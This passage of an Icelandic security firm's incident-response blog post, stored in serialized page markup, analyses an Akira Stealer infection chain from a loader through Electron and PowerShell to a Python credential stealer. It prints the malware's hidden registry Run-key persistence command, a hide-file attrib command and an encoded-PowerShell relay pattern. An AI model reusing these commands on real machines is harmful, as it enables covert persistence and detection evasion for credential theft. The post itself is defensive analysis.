athöfnum árásaraðilans.",[633,835,836,839],{},[567,837,838],{},"Örugg endurheimt gagna og meðferð sönnunargagna","\nStolnu gögnin, þar á meðal cookies, lykilorð, tokens og browser-prófílar, voru endurheimt, varðveitt með forensic-hætti og afhent viðskiptavininum með öruggum hætti.",[633,841,842,845],{},[567,843,844],{},"Gagnsæi og samskipti frá upphafi til enda","\nHvert skref, frá fyrsta alerti til úrbóta og yfirferðar, var skjalfest að fullu, deilt í rauntíma og tekið saman í skipulagðri CSIRT-afhendingu.",[847,848,849],"blockquote",{},[525,850,851],{},"Þetta atvik sýnir hvernig glueckkanja CSOC stöðvar ekki bara malware, við tökum í sundur afleiðingar þess, skilum viðskiptavinum okkar stjórninni og breytum hverju atviki í þekkingu.",[853,854],"div",{"className":855},[856,857],"space-top-1","space-bottom-1",[556,859,861],{"id":860},"_2-arkitektúr-malware-sins-og-yfirlit-yfir-keyrslukeðjuna","2. Arkitektúr malware-sins og yfirlit yfir keyrslukeðjuna",[525,863,562],{},[525,865,866],{},"Malware-ið sem sást á endpointinum sem varð fyrir árásinni fylgdi skipulögðum arkitektúr í mörgum þrepum með skýrri verkaskiptingu: dreifingu, afkóðun, keyrslu og exfiltration gagna.",[740,868,870],{"id":869},"_21-yfirlit-yfir-keyrslukeðjuna","2.1 Yfirlit yfir keyrslukeðjuna",[525,872,746],{},[525,874,875],{},"Keyrsluflæðið sem sást var svona:",[525,877,601],{},[615,879,882],{"className":880,"code":881,"language":620},[618],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[578,883,881],{"__ignoreMap":529},[525,885,886],{},"Hver hluti keðjunnar lagði sitt af mörkum til að halda keðjunni ósýnilegri, einingaskiptri og hjá detection. Arkitektúrinn nýtti lögmæt runtimes og staðlaða túlka stýrikerfisins til að komast fram hjá detection-kerfum.",[888,889,891],"h3",{"id":890},"_211-óvissa-um-uppruna-upphafsvektorinn-vantar","2.1.1 Óvissa um uppruna: upphafsvektorinn vantar",[525,893,894],{},"{: .font-size-4}",[525,896,897,898,901,902,613],{},"Þrátt fyrir umfangsmikla greiningu á umhverfinu eftir kompromíseringu var ekki hægt að ákvarða upphaflega aðgangsvektorinn með vissu. Óvissan stafar fyrst og fremst af því að malware-ið hafði verið virkt í áætlaða ",[567,899,900],{},"sex mánuði áður en það fannst",", sem er lengra en ",[567,903,904],{},"sá geymslutími logga sem Microsoft Defender for Endpoint framfylgir",[525,906,907],{},"Þar af leiðandi var engin telemetría eða forensic-artifacts til frá upphaflegum sýkingartíma. Engir upphaflegir atburðir um stofnun ferla, engin ummerki um skrár sem voru skrifaðar á disk og engar skipanalínufærslur tengdar afhendingarþrepinu voru endurheimtanlegar úr tímalínu Defender eða tengdum skynjurum.",[525,909,910],{},"Út frá samhengisvísbendingum og OSINT-heimildum gæti líkleg sýkingarleið hafa falið í sér:",[630,912,913,919,925],{},[633,914,915,918],{},[567,916,917],{},"Trójuvædd uppsetningarforrit"," fyrir crackaðan eða moddaðan leikjahugbúnað",[633,920,921,924],{},[567,922,923],{},"Fölsuð hjálparforrit"," eða \"performance boosters\" sem dreift er á spjallborðum og vefsvæðum þriðja aðila",[633,926,927,930],{},[567,928,929],{},"Illgjörn browser extensions"," sem beinast að tilteknum áhugasviðum notenda (t.d. kryptótengd verkfæri eða Discord-viðbætur)",[525,932,933],{},"Þetta eru þó áfram getgátur.",[525,935,936,937,613],{},"Enginn staðfestur dropper, enginn phishing-tölvupóstur og ekkert kompromíserað vefsvæði fannst við rannsóknina. Þótt arkitektúr malware-sins og keyrslukeðjan hafi verið endurgerð að fullu var ekki hægt að staðfesta ",[567,938,939],{},"upphaflega kompromíseringarpunktinn (MITRE ATT&CK T1190 / T1566)",[888,941,943,944,946],{"id":942},"_212-updaterexe-upphaflegur-loader","2.1.2 ",[578,945,601],{}," – upphaflegur loader",[525,948,894],{},[525,950,951,952,954],{},"Þegar ég fór yfir ferlatréð í Microsoft 365 Defender stakk ",[578,953,601],{}," strax í augu, ekki vegna þess sem það gerði, heldur vegna þess hversu hljóðlega það kom sér fyrir í keyrsluflæði kerfisins.",[525,956,957],{},"Þetta binary var skráð til sjálfvirkrar keyrslu í gegnum staðlaða Run-lykilinn í Windows:",[615,959,962],{"className":960,"code":961,"language":620},[618],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[578,963,961],{"__ignoreMap":529},[525,965,966],{},"Það þýddi að það ræstist í hvert sinn sem notandinn skráði sig inn í setuna sína, klassískur persistence-búnaður sem krefst engra upphafinna réttinda og sleppur oft óséður í gegn í EDR-telemetríu.",[630,968,969,975,981,987,993],{},[633,970,971,974],{},[567,972,973],{},"Skráartegund",": keyranleg Windows PE-skrá (32-bita)",[633,976,977,980],{},[567,978,979],{},"Undirritun",": engin",[633,982,983,986],{},[567,984,985],{},"VirusTotal-detection",": 1 af 69 engines þegar triage fór fram",[633,988,989,992],{},[567,990,991],{},"Keyrslusamhengi",": medium integrity, notandaseta",[633,994,995,998,999],{},[567,996,997],{},"Staðsetning",": ",[578,1000,1001],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[525,1003,1004],{},"Skráin sjálf var lítil, hreinlega þýdd og eftirtektarlaus frá sjónarhóli statískrar greiningar. Engir grunsamlegir strengir, engir dulkóðaðir hlutar og engin merki um obfuskun eða packing. Hún flutti inn aðeins lágmarkssafn af stöðluðum Windows API-föllum og innihélt engan innbyggðan payload.",[525,1006,1007,1008,1010,1011,1013],{},"Hegðun þess sagði þó meira. Eftir ræsingu dró ",[578,1009,601],{}," út Electron-forrit úr meðfylgjandi safnskrá, sjálfstætt NodeJS-runtime pakkað með stöðluðum Electron-verkfærum. Í þessari útpökkuðu möppu var keyranleg skrá sem hét ",[578,1012,605],{},", sem var í kjölfarið ræst sem barnferli.",[615,1015,1018],{"className":1016,"code":1017,"language":620,"meta":529},[618],"Updater.exe → main.exe\n",[578,1019,1017],{"__ignoreMap":529},[525,1021,1022,1023,1025,1026,1028],{},"Á þessu stigi voru engir netindikatorar, engin process injection og ekkert frávik í réttindum eða upphafningu tokens. Allt hlutverk ",[578,1024,601],{}," virtist vera hlutverk loaders, að koma hluta á öðru þrepi (",[578,1027,605],{},") inn í umhverfið, líklega með það markmið að halda keðjunni ósýnilegri og einingaskiptri.",[525,1030,1031],{},"Þessi arkitektúrlega aðgreining er algeng í nútíma fjöldaframleiddu malware og stealer-verkfærasettum. Upphaflegi loaderinn virkar aðeins sem dreifingarstubbur og leyfir þyngri rökvísinni, oft obfuskeraðri, túlkaðri eða dýnamískt myndaðri, að liggja í síðari þrepum.",[525,1033,1034,1035,1037,1038,1040,1041,613],{},"Í þessu tilviki þjónaði ",[578,1036,601],{}," nákvæmlega þeim tilgangi: hljóðlátri fyrstu fótfestu hannaðri til að falla inn í umhverfið, haldast ógreind og ryðja brautina fyrir keyrslu hinnar eiginlegu stealer-rökvísi í ",[578,1039,605],{}," og að lokum ",[578,1042,609],{},[525,1044,1045],{},"Það snerti ekki skráakerfið utan sinnar eigin möppu og virkjaði engar hegðunarreglur, og samt var það fyrsti dómínókubburinn í langri og vandlega smíðaðri árásarkeðju.",[888,1047,1049,1050,1052],{"id":1048},"_213-mainexe-obfuskerað-ílát-fyrir-nodejs-payload","2.1.3 ",[578,1051,605],{}," – obfuskerað ílát fyrir NodeJS-payload",[525,1054,894],{},[525,1056,1057,1058,1060,1061,1063],{},"Í kjölfar keyrslu ",[578,1059,601],{}," var ræst binary á öðru þrepi sem hét ",[578,1062,605],{},". Þessi hluti kynnti sig sem venjulegt Electron-forrit, runtime-umhverfi sem pakkar saman Node.js og Chromium og er oft notað fyrir skjáborðsforrit á mörgum stýrikerfum. Sakleysislegt eðli þess er hluti af því sem gerir það svo hættulegt í röngum höndum.",[525,1065,1066,1067,1069,1070,1073],{},"Við skoðun kom í ljós að ",[578,1068,605],{}," innihélt innri safnskrá sem hét ",[578,1071,1072],{},"app.asar",", staðlaða pökkunarsniðið fyrir Electron-byggð forrit. Ólíkt lögmætum Electron-forritum var innihald þessarar safnskrár þó allt annað en venjulegt.",[630,1075,1076,1082,1088,1096],{},[633,1077,1078,1081],{},[567,1079,1080],{},"Pallur",": Electron (Node.js + Chromium)",[633,1083,1084,1087],{},[567,1085,1086],{},"Arkitektúr",": 64-bita Windows",[633,1089,1090,1093,1094],{},[567,1091,1092],{},"Uppbygging innihalds",": innbyggðar JavaScript-skrár í ",[578,1095,1072],{},[633,1097,1098,1101,1102,1105],{},[567,1099,1100],{},"Stig obfuskunar",": hátt, náð með ",[578,1103,1104],{},"js-confuser",", obfuskunarverkfærasetti fyrir JavaScript sem selt er á almennum markaði",[525,1107,1108,1109,1111],{},"Eftir decompilering og afobfuskun varð kjarnarökvísi ",[578,1110,605],{}," augljós. Tilgangur þess var ekki að birta GUI eða keyra neina framendarökvísi, heldur virkaði það sem falinn stjórnandi keyrslunnar.",[525,1113,1114],{},[567,1115,1116],{},"Hegðun sem sást:",[630,1118,1119,1122,1129],{},[633,1120,1121],{},"Afkóðar og endurgerir Base64-kóðaða PowerShell-skipun sem geymd er inni í JavaScript-payloadinum",[633,1123,1124,1125,1128],{},"Ræsir ",[578,1126,1127],{},"cmd.exe"," til að keyra PowerShell-skipunina inline",[633,1130,1131,1132,1134,1135,1138],{},"PowerShell-skipunin kallar svo á ",[578,1133,580],{}," og sendir með script sem liggur undir að því er virðist meinlausri möppuuppbyggingu (",[578,1136,1137],{},"Crypto\\Util\\astor.py",")",[615,1140,1143],{"className":1141,"code":1142,"language":620,"meta":529},[618],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[578,1144,1142],{"__ignoreMap":529},[525,1146,1147],{},"Þessi hlekkjun gerði árásaraðilanum kleift að færa sig milli keyrslusamhengja og komast hjá einfaldri detection. Þar sem payloadinn var obfuskeraður og staged í minni komu hefðbundnar signature-byggðar varnir að engu gagni.",[525,1149,1150],{},"Electron-frameworkið veitti kjörna yfirhylmingu og leyfði keyrslu á handahófskenndu JavaScript án þess að vekja athygli. JavaScript-byggð keyrsla gaf einnig samhæfni milli stýrikerfa, sem leyfði sveigjanlega dreifingu og einfaldari samþættingu á dýnamískri stýrirökvísi.",[525,1152,1153,1154,1156],{},"Það sem gerði ",[578,1155,605],{}," sérstaklega hættulegt var geta þess til að starfa án þess að skrifa niður nokkrar viðbótarskrár umfram það sem þegar hafði verið staged. Stealer-scriptið var kallað beint af diski, en öll staging- og keyrslurökvísi var áfram innbyggð í Electron-búntinum.",[525,1158,1159,1160,1162,1163,613],{},"Í stuttu máli þjónaði ",[578,1161,605],{}," sem obfuskeraður keyrslukjarni í mörgum lögum og virkaði sem hliðvörður milli upphaflegs persistence og fullrar virkjunar Akira Stealer-payloadsins í ",[578,1164,609],{},[888,1166,1168,1169,1171],{"id":1167},"_214-cmdexe-og-powershell-relay","2.1.4 ",[578,1170,1127],{}," og PowerShell-relay",[525,1173,894],{},[525,1175,1176],{},"Þetta þrep keyrslukeðjunnar virkaði sem relay, ekki fyrir payload-rökvísi heldur fyrir obfuskun og óbeina leið.",[525,1178,1179,1180,1182,1183,1185,1186,613],{},"Eftir að ",[578,1181,605],{}," hafði lokið sínu hlutverki við að pakka út og afkóða payloadinn ræsti það ",[578,1184,1127],{},"-ferli. Þetta ferli innihélt sjálft enga illgjarna rökvísi og hvorki skrifaði né breytti skrám. Eini tilgangur þess var að vera wrapper utan um ræsingu PowerShell-setu með ",[567,1187,1188],{},"kóðaðri skipun",[525,1190,1191],{},"Þessi aðferð er vel þekkt taktík til að draga úr sýnileika og komast hjá detection:",[630,1193,1194,1206],{},[633,1195,1196,1199,1200],{},[567,1197,1198],{},"Keyrslukeðja",":",[615,1201,1204],{"className":1202,"code":1203,"language":620},[618],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[578,1205,1203],{"__ignoreMap":529},[633,1207,1208,1199,1211],{},[567,1209,1210],{},"Tilgangur",[630,1212,1213,1216,1219],{},[633,1214,1215],{},"Pakkar PowerShell-keyrslunni inn í aukalegt shell",[633,1217,1218],{},"Felur hinn eiginlega PowerShell-kóða fyrir beinum sýnileika í loggum",[633,1220,1221,1222,1225],{},"Kemst hjá EDR-kerfum sem bregðast við beinni notkun ",[578,1223,1224],{},"powershell.exe"," með grunsamlegum breytum",[525,1227,1228,1229,1231],{},"Með því að setja PowerShell-scriptið inn sem Base64-kóðaðan streng og kalla á það í gegnum ",[578,1230,1127],{}," komst árásaraðilinn hjá mörgum tegundum detection:",[630,1233,1234,1239,1244],{},[633,1235,1236],{},[567,1237,1238],{},"Heuristískum síum á skipanalínu",[633,1240,1241],{},[567,1242,1243],{},"Staðlaðri loggun (t.d. Event ID 4104, 4688)",[633,1245,1246],{},[567,1247,1248,1249,1251,1252,646,1255,1258],{},"Reglubyggðum detections á ",[578,1250,1224],{},"-argument eins og ",[578,1253,1254],{},"-NoProfile",[578,1256,1257],{},"-ExecutionPolicy Bypass"," eða inline-scriptum",[525,1260,1261,1262,1264,1265,1267],{},"Athygli vekur að PowerShell-skipuninni var haldið í lágmarki og hún snerist eingöngu um að ræsa ",[578,1263,580],{}," með slóð á innbyggða stealer-scriptið, ",[578,1266,609],{},". Engar viðbótareiningar voru hlaðnar og engar augljósar signature voru til staðar í minni.",[525,1269,1270],{},"Þessi relay-tækni er jafnt notuð í red teaming og af fágðum infostealers, sem létt evasion-lag sem er auðvelt að útfæra en erfitt að grípa án þess að tengja saman telemetríu.",[525,1272,1034,1273,1275],{},[578,1274,1127],{}," nákvæmlega þeim tilgangi: einfaldri, hljóðlátri brú milli JavaScript-rökvísi og Python-keyrslu, brú sem slapp næstum því óséð í gegn.",[888,1277,1279,1280,1282,1283],{"id":1278},"_215-pythonexe-með-astorpy","2.1.5 ",[578,1281,580],{}," með ",[578,1284,609],{},[525,1286,894],{},[525,1288,1289,1290,1292,1293,1295],{},"Lokaþrepi keyrslukeðjunnar og því áhrifamesta var náð þegar ",[578,1291,580],{}," kallaði á ",[578,1294,609],{},", einingaskiptan infostealer skrifaðan í Python sem keyrir alfarið í minni. Þetta script var rekstrarkjarni allrar árásarkeðjunnar.",[525,1297,1298,1299,1301],{},"Ólíkt mörgum fjöldaframleiddum stealers var ",[578,1300,609],{}," ekki sett fram í plaintext. Það var varið með afkóðunarbúnaði í mörgum lögum:",[630,1303,1304,1313],{},[633,1305,1306,1309,1310,613],{},[567,1307,1308],{},"Afkóðunarstakkur",": Skráin var fyrst þjöppuð með GZIP og síðan dulkóðuð með ",[567,1311,1312],{},"AES-256-CBC",[633,1314,1315,1318],{},[567,1316,1317],{},"Lykilleiðsla",": Notað var PBKDF2-byggt ferli til að leiða lykil (SHA-512, 1.000.000 ítranir), sem gerir statíska greiningu og brute-forcing afar óhagkvæma.",[525,1320,1321],{},"Eftir afkóðun á keyrslutíma keyrði scriptið nokkrar sérhæfðar einingar sem allar beindust að viðkvæmum gagnalindum:",[525,1323,1324],{},[567,1325,1326],{},"Kjarnavirkni",[630,1328,1329,1335,1345,1355],{},[633,1330,1331,1334],{},[567,1332,1333],{},"Útdráttur browsergagna",": sótti innskráningar-credentials, cookies og sjálfvirk útfyllingargögn úr Chromium-byggðum browsers (Chrome, Edge, Brave, Opera)",[633,1336,1337,1340,1341,1344],{},[567,1338,1339],{},"Söfnun tokens",": safnaði setutokens, einkum frá ",[567,1342,1343],{},"Discord",", og leitaði að extensions fyrir kryptóveski",[633,1346,1347,1350,1351,1354],{},[567,1348,1349],{},"Pökkun gagna",": safnaði öllum söfnuðum gögnum í skipulagða ",[567,1352,1353],{},"ZIP-safnskrá"," og varðveitti möppu- og skráasamhengi fyrir úrvinnslu hjá árásaraðilanum",[633,1356,1357,1360],{},[567,1358,1359],{},"Exfiltration",": hlóð safnskránni sem varð til upp á opinber API og innviði.",[525,1362,1363],{},[567,1364,991],{},[525,1366,1367],{},"Öll stealer-rökvísin keyrði úr minni og engar varanlegar skrár voru skrifaðar á disk. Hún skildi eftir sig lágmarksspor í telemetríu umfram minnis-artifacts innan ferlisins og staðlað kall á undirferli. Engin tilraun var gerð til að koma á persistence á þessu þrepi, markmiðið var hraður, skilvirkur og hljóðlátur gagnaþjófnaður.",[525,1369,1370],{},"Notkun lögmætra API við exfiltration gerði detection og varnir einnig mun erfiðari, því útgangandi umferð féll inn í venjubundna netnotkun.",[525,1372,1373,1374,1376],{},"Þetta þrep staðfesti að lokum hvaða malware var á ferðinni: afbrigði af ",[567,1375,677],{},", sem er þekkt fyrir:",[630,1378,1379,1382,1385,1388],{},[633,1380,1381],{},"Mikla einingaskiptingu",[633,1383,1384],{},"Obfuskun á keyrslutíma",[633,1386,1387],{},"Dreifingu í viðskiptaskyni í gegnum Telegram",[633,1389,1390],{},"Sterka áherslu á söfnun credentials og yfirtöku seta með tokens",[525,1392,1393,1394,1396],{},"Ásamt fyrri þrepunum myndaði ",[578,1395,609],{}," úrslitapunkt í hljóðlátri og vel hannaðri infostealer-keðju. Í næstu köflum tökum við þennan hluta enn frekar í sundur og skýrum hvernig við snerum rökvísi hans við, kortlögðum innviði hans og endurheimtum hvern einasta indicator of compromise sem notaður var í aðgerðinni.",[556,1398,1400,1401],{"id":1399},"_3-deep-dive-updaterexe","3. Deep Dive: ",[578,1402,601],{},[525,1404,562],{},[525,1406,1407,1409],{},[578,1408,601],{}," var fyrsta binary-ið sem sást við greiningu eftir kompromíseringu. Þrátt fyrir hlutlaust yfirbragð og hverfandi detection-fótspor gegndi það lykilhlutverki í að viðhalda rekstrarlegu persistence malware-sins og koma payload næsta þreps á sinn stað.",[740,1411,1413],{"id":1412},"_31-eiginleikar","3.1 Eiginleikar",[525,1415,746],{},[1417,1418,1419,1432],"table",{},[1420,1421,1422],"thead",{},[1423,1424,1425,1429],"tr",{},[1426,1427,1428],"th",{},"Eiginleiki",[1426,1430,1431],{},"Gildi",[1433,1434,1435,1446,1456,1466,1476,1486],"tbody",{},[1423,1436,1437,1443],{},[1438,1439,1440],"td",{},[567,1441,1442],{},"Snið:",[1438,1444,1445],{},"Windows Portable Executable (PE32)",[1423,1447,1448,1453],{},[1438,1449,1450],{},[567,1451,1452],{},"Arkitektúr:",[1438,1454,1455],{},"x86-64",[1423,1457,1458,1463],{},[1438,1459,1460],{},[567,1461,1462],{},"Stærð:",[1438,1464,1465],{},"~154 KB",[1423,1467,1468,1473],{},[1438,1469,1470],{},[567,1471,1472],{},"Entrópía:",[1438,1474,1475],{},"eðlileg (ekki packað)",[1423,1477,1478,1483],{},[1438,1479,1480],{},[567,1481,1482],{},"Signature:",[1438,1484,1485],{},"engin",[1423,1487,1488,1493],{},[1438,1489,1490],{},[567,1491,1492],{},"VirusTotal-detection:",[1438,1494,1495],{},"1/69 við greiningu",[525,1497,1498],{},"Skráin hafði hreina import table og enga innbyggða strengjaindikatora. Engir þekktir packers, crypters eða obfuskunarbúnaður á keyrslutíma fundust. Uppbyggingin var í samræmi við sérþýdd binaries.",[740,1500,1502],{"id":1501},"_32-hegðunargreining","3.2 Hegðunargreining",[525,1504,746],{},[525,1506,1507],{},[567,1508,1509],{},"Engin þátttaka notanda nauðsynleg",[525,1511,1512,1513,1515],{},"Malware-keðjan keyrði án þess að þurfa nokkra þátttöku notanda. Út frá ferlatelemetríu Defender var upphaflega binary-ið (",[578,1514,601],{},") ræst sjálfkrafa, líklega í gegnum persistence-búnað eins og autorun-lykil í registry. Vegna aldurs kompromíseringarinnar og þess að eldri event logs vantaði var þó ekki unnt að endurheimta nákvæmlega hvaða aðferð var notuð.",[525,1517,1518],{},[567,1519,1520],{},"Hljóðlát keyrsla og staging",[525,1522,1523,1524,1526,1527,1529],{},"Við keyrslu ræsti ",[578,1525,601],{}," samstundis ",[578,1528,605],{}," án nokkurs glugga og án nokkurra kvaðninga til notandans. Staging fór hljóðlega fram í bakgrunni. Það voru engin merki um samþykkisglugga, UAC-kvaðningar eða GUI-hluta.",[525,1531,1532],{},[567,1533,1534],{},"Hegðun við dreifingu payloads",[525,1536,1537,1538,1540],{},"Í ljós kom að ",[578,1539,605],{}," var hluti af Electron-forritsuppbyggingu, en nákvæmur uppruni dreifingar þess er enn óskýr. Annað af eftirfarandi er talið líklegt:",[630,1542,1543,1549],{},[633,1544,1545,1546,1548],{},"Payloadinn gæti hafa verið innbyggður í ",[578,1547,601],{}," (t.d. sem innbyggt tilfang), eða",[633,1550,1551],{},"Hann gæti hafa verið sóttur frá fjartengdri heimild",[525,1553,1554],{},"Vegna þess að nettelemetría vantaði og engin harðkóðuð URL fannst er afhendingarvektorinn fyrir Electron-forritið enn óvís.",[525,1556,1557],{},[567,1558,1559],{},"Hegðun ferlakeðjunnar",[525,1561,1523,1562,1564,1565,1567],{},[578,1563,601],{}," ",[578,1566,605],{}," sem barnferli. Kallið var ógagnvirkt og ekkert ferli sem sprottið var úr keðjunni sýndi virkni í viðmóti. Ferlakeðjan hélt áfram eins og vænta mátti:",[615,1569,1572],{"className":1570,"code":1571,"language":620},[618],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[578,1573,1571],{"__ignoreMap":529},[525,1575,1576],{},"Öll keyrsluþrep unnu án þess að þurfa inntak frá notanda og reiddu sig eingöngu á fyrirfram stillta ræsirökvísi og hljóðlátar keyrsluleiðir. Það lágmarkaði sýnileika og hjálpaði malware-inu að haldast ógreint í langan tíma.",[740,1578,1580],{"id":1579},"_33-hlutverk-í-sýkingarkeðjunni","3.3 Hlutverk í sýkingarkeðjunni",[525,1582,746],{},[525,1584,1585,1587,1588,1591,1592,613],{},[578,1586,601],{}," gegndi ",[567,1589,1590],{},"einu en ómissandi hlutverki"," í hinni víðari sýkingarkeðju: það var ábyrgt fyrir persistence og endurdreifingu hlutans á þrepi 2, ",[578,1593,605],{},[525,1595,1596],{},[567,1597,1598],{},"Staðfest einkenni",[630,1600,1601,1611,1618],{},[633,1602,1603,1604,1607,1608,1610],{},"Það innihélt ",[567,1605,1606],{},"ekki"," og keyrði ",[567,1609,1606],{}," illgjarna rökvísi með beinum hætti",[633,1612,1613,1614,1617],{},"Það framkvæmdi ",[567,1615,1616],{},"enga"," exfiltration gagna",[633,1619,1620,1621,1623],{},"Það hafði ",[567,1622,1485],{}," samskipti við credential-geymslur browsers eða viðkvæm notandagögn",[525,1625,1626,1627,1629],{},"Eini tilgangur þess var að ræsa ",[578,1628,605],{}," hljóðlega við innskráningu notanda, og var autorun-færsla í registry líklegasta aðferðin við persistence (þótt hún hafi ekki verið endurheimt með beinum hætti vegna takmarkana í telemetríu).",[525,1631,1632,1633,1635,1636,1638],{},"Með því að vera einangraður loader á fyrsta þrepi tryggði ",[578,1634,601],{}," að hinn eiginlegi stealer-payload (",[578,1637,609],{},") héldist hulinn í dýpri lögum keyrslunnar. Þessi verkaskipting gerði árásaraðilunum kleift að:",[630,1640,1641,1644,1647],{},[633,1642,1643],{},"Komast hjá tengingum hjá statískum AV- eða sandbox-kerfum",[633,1645,1646],{},"Skipta út eða uppfæra payloads án þess að breyta loadernum",[633,1648,1649],{},"Draga úr hegðunarmerkjum við aðgangspunktinn",[525,1651,1652,1653,1656],{},"Þetta mynstur er dæmigert í ",[567,1654,1655],{},"malware-as-a-service (MaaS)"," aðgerðum, þar sem afhendingarbúnaðurinn er almennur og payloads einingaskipt eða sérsniðin að hverjum viðskiptavini.",[525,1658,1659,1660,1662],{},"Í þessu tilviki bauð ",[578,1661,601],{}," upp á nákvæmlega þá rökvísi sem þurfti til að vera áreiðanlegur og hljóðlátur aðgangspunktur, ekkert meira en líka ekkert minna.",[740,1664,1666],{"id":1665},"_34-persistence-í-gegnum-registry-staðfest-í-astorpy","3.4 Persistence í gegnum registry (staðfest í astor.py)",[525,1668,746],{},[525,1670,1671,1672,1674],{},"Statísk greining á Python-payloadinum sýndi að ",[578,1673,601],{}," er haldið við með beinum hætti með autorun-færslu í registry:",[630,1676,1677,1685,1693],{},[633,1678,1679,998,1682],{},[567,1680,1681],{},"Registry-slóð",[578,1683,1684],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[633,1686,1687,998,1690],{},[567,1688,1689],{},"Heiti gildis",[578,1691,1692],{},"Realtek Audio",[633,1694,1695,998,1698],{},[567,1696,1697],{},"Slóð payloads",[578,1699,1700],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[525,1702,1703],{},"Tilheyrandi registry-skipun er keyrð í gegnum PowerShell:",[615,1705,1709],{"className":1706,"code":1707,"language":1708,"meta":529,"style":529},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[578,1710,1711],{"__ignoreMap":529},[1712,1713,1716],"span",{"class":1714,"line":1715},"line",1,[1712,1717,1707],{},[525,1719,1720],{},"Þetta tryggir að malware-ið ræsist við hverja innskráningu notanda. Skráin er einnig merkt með hidden- og system-eigindum til að komast enn betur hjá detection:",[615,1722,1724],{"className":1706,"code":1723,"language":1708,"meta":529,"style":529},"attrib +h +s \"Updater.exe\"\n",[578,1725,1726],{"__ignoreMap":529},[1712,1727,1728],{"class":1714,"line":1715},[1712,1729,1723],{},[525,1731,1732],{},"Þessi persistence-búnaður var byggður beint inn í astor.py-kóðann, sem staðfestir að stealerinn á lokaþrepinu heldur loadernum virkt við á diski og í startup-registry.",[740,1734,1736],{"id":1735},"_35-samantekt","3.5 Samantekt",[525,1738,746],{},[847,1740,1741],{},[525,1742,1743,1744,1746],{},"Þótt ",[578,1745,601],{}," hafi ekki verið illgjarnt í sjálfu sér, hvorki í uppbyggingu né innihaldi, staðfesti hegðun þess í samhengi keyrslukeðjunnar hlutverk þess sem malware-loader.",[853,1748],{"className":1749},[856],[525,1751,1752],{},"Þetta binary var hreinn og lágmarksstilltur ræsir á fyrsta þrepi og komst hjá detection frá statískri greiningu, AV-engines og hegðunarreglum. Hönnun þess einbeitti sér eingöngu að því að vera ósýnileg og styðja aðgerðina, ekki að keyra illgjarna rökvísi sjálf.",[525,1754,1755,1756,1758,1759,1761,1762,1765],{},"Hlutverk þess fór þó lengra en upphafleg dreifing. Við reverse engineering á ",[578,1757,609],{},"-payloadinum greindum við rökvísi sem athugaði virkt hvort ",[578,1760,601],{}," væri til staðar. Þessi athugun var hluti af víðari ",[567,1763,1764],{},"heilsu- og sjálfslæknandi hringrás"," innbyggðri í stealer-kóðann, búnaði sem ætlað var að sannreyna heilleika sýkingarkeðjunnar og endurheimta hluta sem vantaði ef þörf væri á.",[525,1767,1768,1769,1771,1772,1775],{},"Það þýðir að ",[578,1770,601],{}," var ekki aðeins ábyrgt fyrir því að setja malware-ið af stað, heldur var það einnig hluti af ",[567,1773,1774],{},"áframhaldandi sannvottun þess á keyrslutíma",". Án þessa stubbs gæti malware-ið misst getuna til að ræsa sig upp á nýtt í seinni setum.",[525,1777,1778],{},[567,1779,1780,1781,1199],{},"Helstu hlutverk ",[578,1782,601],{},[630,1784,1785,1790,1795,1798],{},[633,1786,1787,1788],{},"Snurðulaus dreifing ",[578,1789,605],{},[633,1791,1792,1793],{},"Óbein keyrsla ",[578,1794,609],{},[633,1796,1797],{},"Aðgreining rökvísi loaders og payloads",[633,1799,1800,1803],{},[567,1801,1802],{},"Payloadinn sjálfur vísar í það"," sem hluti af vöktun á rekstrarheilsu",[525,1805,1806],{},"Í kafla 5 förum við nánar í innri heilsuathuganir stealersins, þar á meðal sjálfslæknandi hegðun hans og búnað til að sannvotta heilleika.",[525,1808,1809,1810,1812],{},"Að svo stöddu er ljóst að ",[578,1811,601],{}," var bæði kveikjan og festan í þessum lagskipta infostealer-arkitektúr.",[740,1814,1816],{"id":1815},"_36-útdráttarbrella-að-leika-á-loaderinn","3.6 Útdráttarbrella: að leika á loaderinn",[525,1818,746],{},[525,1820,1821],{},"Stundum koma bestu niðurstöðurnar í reverse engineering ekki úr djúpri afþýðingu binaries, heldur úr smávægilegri brellu og þolinmæði.",[525,1823,1824,1825,1827,1828,1830],{},"Meðan við greindum sýkinguna í stýrðu tilraunaumhverfi tókum við eftir dálítið skrítnu: ",[578,1826,601],{}," var til staðar og í keyrslu, en ",[578,1829,605],{}," var horfið úr skráakerfinu. Þá fengum við hugmynd: hvað gerist ef við látum malware-ið gera við sig sjálft?",[525,1832,1833,1834,1839,1840,1842],{},"Við ",[567,1835,1836,1837],{},"eyddum ",[578,1838,605],{}," vísvitandi úr sýkta umhverfinu en létum ",[578,1841,601],{}," óhreyft. Og viti menn, eftir næstu innskráningu notanda fór loaderinn á stað, ekki með gauragangi heldur með hljóðlátri tilraun til að byggja annað þrepið upp aftur.",[525,1844,1845,1846,1848,1849,1851,1852,1855,1856,1859,1860,646,1862,585,1865,1867],{},"Hér varð þetta áhugavert: í stað þess að endurgera ",[578,1847,605],{}," beint skrifaði ",[578,1850,601],{}," fyrst niður skrá sem hét ",[578,1853,1854],{},"app-64.7z",", venjulega ",[567,1857,1858],{},"7-Zip-safnskrá",". Þessi safnskrá innihélt alla Electron-forritsuppbygginguna, þar á meðal ",[578,1861,605],{},[578,1863,1864],{},"resources",[578,1866,1072],{},"-payloadinn með allri innbyggðri rökvísi.",[525,1869,1870,1871,613],{},"Við höfðum í reynd ",[567,1872,1873],{},"þvingað malware-ið til að afhenda okkur upprunapakkann",[525,1875,1876],{},[774,1877],{"alt":1878,"src":1879},"Grunsamleg keyranleg Updater-skrá greind","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[525,1881,1882],{},"Með þessa 7z-safnskrá í höndunum gátum við dregið út, afþjappað og snúið JavaScript-byggðu stjórnrökvísinni við að 